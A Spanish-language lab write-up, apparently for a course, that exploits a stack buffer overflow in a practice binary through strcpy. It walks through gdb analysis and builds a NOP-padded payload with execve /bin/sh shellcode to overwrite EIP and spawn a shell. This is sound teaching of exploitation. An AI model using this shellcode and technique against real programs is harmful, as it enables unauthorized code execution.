Stack BufferOverflow

En esta práctica vamos a explotar una vulnerabilidad de tipo stack bufferoverflow para la ejecución de código que genere una shell.

Lo primero que hacemos es obtener información del binario:

```
dialid@ubuntu:~/Documents/vulne/avuln_tareas/bins/anothers$ file shellcode1
shellcode1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamicall
y linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48
941ebc85d2d72a4cd780a7fe8f3b84efd1ba7c, not stripped
```

El programa donde vamos a realizar el bufferoverflow es shellcode1, para lo cual primero le otorgamos permisos de ejecución:

chmod +x shellcode1

Este comando otorga permisos de ejecución a todos los usuarios, para dar permisos de ejecución sólo al dueño del archivo se requiere *chmod u+x.*

Probamos su ejecución:

```
dialid@ubuntu:~/Documents/vulne/avuln_tareas/bins/anothers$ ./shellcode1 hola
Hola    hola
```

Observamos que recibe una cadena como argumento y después la concatena con la cadena ‘Hola’ y la imprime.

Posteriormente procedemos a debuguearlo con gdb para conocer las funciones de las que se compone, y encontrar dónde podemos realizar el bufferoverflow.

gdb shellcode1

Y dentro de gdb:

(gdb) info functions

```
All defined functions:

Non-debugging symbols:
0x080482cc  _init
0x08048300  printf@plt
0x08048310  strcpy@plt
0x08048320  __libc_start_main@plt
0x08048340  _start
0x08048370  __x86.get_pc_thunk.bx
0x08048380  deregister_tm_clones
0x080483b0  register_tm_clones
0x080483f0  __do_global_dtors_aux
0x08048410  frame_dummy
0x0804843b  saluda
0x08048464  main
0x08048480  __libc_csu_init
0x080484e0  __libc_csu_fini
0x080484e4  _fini
```

Podemos ver que el programa se compone de dos funciones, main y saluda.

Para poder analizarlas individualmente colocamos breakpoints en dichas funciones.

(gdb) b saluda

(gdb) b main

Colocamos el layout para visualizar las instrucciones en asm:

(gdb) layout asm

Corremos el programa con “AAAAA” como argumento para observar el comportamiento de las funciones:

(gdb) r AAAAA

```
   0x8048464 <main>               push   ebp
   0x8048465 <main+1>             mov    ebp,esp
B+> 0x8048467 <main+3>            mov    eax,DWORD PTR [ebp+0xc]
   0x804846a <main+6>             add    eax,0x4
   0x804846d <main+9>             mov    eax,DWORD PTR [eax]
   0x804846f <main+11>            push   eax
   0x8048470 <main+12>            call   0x804843b <saluda>
   0x8048475 <main+17>            add    esp,0x4
   0x8048478 <main+20>            mov    eax,0x0
   0x804847d <main+25>            leave
   0x804847e <main+26>            ret
   0x804847f                      nop
   0x8048480 <__libc_csu_init>    push   ebp
   0x8048481 <__libc_csu_init+1>  push   edi
native process 25580 In: main                                L??   PC: 0x8048467
(gdb) r AAAAAAAA
```

Vemos que la función main llama a la función saluda.

La función saluda se compone de las funciones strcpy y printf.

Sabemos que strcpy es una función vulnerable a bufferoverflow.

Vemos que antes de llamar a strcpy se carga la dirección de ebp-0x64. Esa es la dirección del buffer, el tamaño es 0x64 que en decimal son 100 bytes.

Por lo que hacemos el cálculo de cuántos bytes necesitamos para sobreescribir a EIP (Instruction Pointer) para así que apunte a la dirección de la instrucción que queramos posteriormente.

100 buffer + 4 ebp + los siguientes 4 sobreescriben EIP.

```
   > 0x804843b <saluda>      push   ebp
     0x804843c <saluda+1>    mov    ebp,esp
     0x804843e <saluda+3>    sub    esp,0x64
b+   0x8048441 <saluda+6>    push   DWORD PTR [ebp+0x8]
     0x8048444 <saluda+9>    lea    eax,[ebp-0x64]
     0x8048447 <saluda+12>   push   eax
     0x8048448 <saluda+13>   call   0x8048310 <strcpy@plt>
     0x804844d <saluda+18>   add    esp,0x8
     0x8048450 <saluda+21>   lea    eax,[ebp-0x64]
     0x8048453 <saluda+24>   push   eax
     0x8048454 <saluda+25>   push   0x8048500
     0x8048459 <saluda+30>   call   0x8048300 <printf@plt>
     0x804845e <saluda+35>   add    esp,0x8
     0x8048461 <saluda+38>   nop
```

Ya obtuvimos la información que queríamos por lo que continuamos la ejecución del programa:

(gdb) continue

El código que queremos insertar en el binario lo tenemos aparte en shellcode.asm y es el siguiente:

```
xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call
```

Obtenemos los OPcodes de las instrucciones de ese código con el comando:

```
dialid@ubuntu:~/Documents/vulne/avuln_tareas/bins/anothers$ objdump -d -M intel
shellcode.obj | cut -d ":" -f 2 | sed -E 's/[a-z]{3,4}.*//' | tr -d '\t'  | tr -
s ' ' | sed 's/ $//' | sed 's/^/\\x/' | sed 's/ /\\x/g' | tr -d '\n'
\x\x\x\x\x\x\x\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80dialid@ubuntu:~/Documents/vulne/avuln_tareas/b
```

Y los opcode de nuestro código son a partir de x31.

Para obtener la cantidad de bytes que son:

```
dialid@ubuntu:~/Documents/vulne/avuln_tareas/bins/anothers$ echo -ne "\x31\xc0\x
50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x
0b\xcd\x80" | wc -c
25
```

25 bytes, por lo tanto, necesitamos rellenar los otros 79 bytes con ciclos nop (no operation) 0x90. Lo realizamos de forma que unos nop queden al principio, luego el shellcode, y finalmente más nop.

Ponemos el layout para observar valores de registros:

(gdb) layout regs

Ejecutamos el programa con la cadena que necesitamos como argumento:

*(gdb) r `python -c 'print "\x90"*28+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x6*

*2\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*51+"CCCC"'`*

```
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x43434343
```

Comprobamos que EIP fue sustituido por CCCC. Verificamos el registro buffer para obtener la dirección de memoria desde donde empieza.

(gdb) x/16 $ebp-0x64

Y obtenemos:

0xffffcec8

Dado que la notación del procesador es Little Endian es necesario añadir esta dirección en vez de CCCC pero al revés

*(gdb) r `python -c 'print "\x90"*28+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x6*

*2\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*51+"\xc8\xce*
\xff\xff"'`

Y ejecutamos de nuevo:

```
(gdb) r `python -c 'print "\x90"*28+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x6
2\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*51+"\xc8\xce\x
ff\xff"'`
Starting program: /home/dialid/Documents/vulne/avuln_tareas/bins/anothers/shellc
ode1 `python -c 'print "\x90"*28+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x
69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*51+"\xc8\xce\xff\
xff"'`
Hola    ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆1◆Ph//shh/bin◆◆P◆◆S◆◆◆
                                                        ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
process 26515 is executing new program: /bin/dash
$ ls
mod_var  shellcode  shellcode.asm  shellcode.obj  shellcode1  stack1
$
```

Para comprobar la shell ejecutamos un ls 😊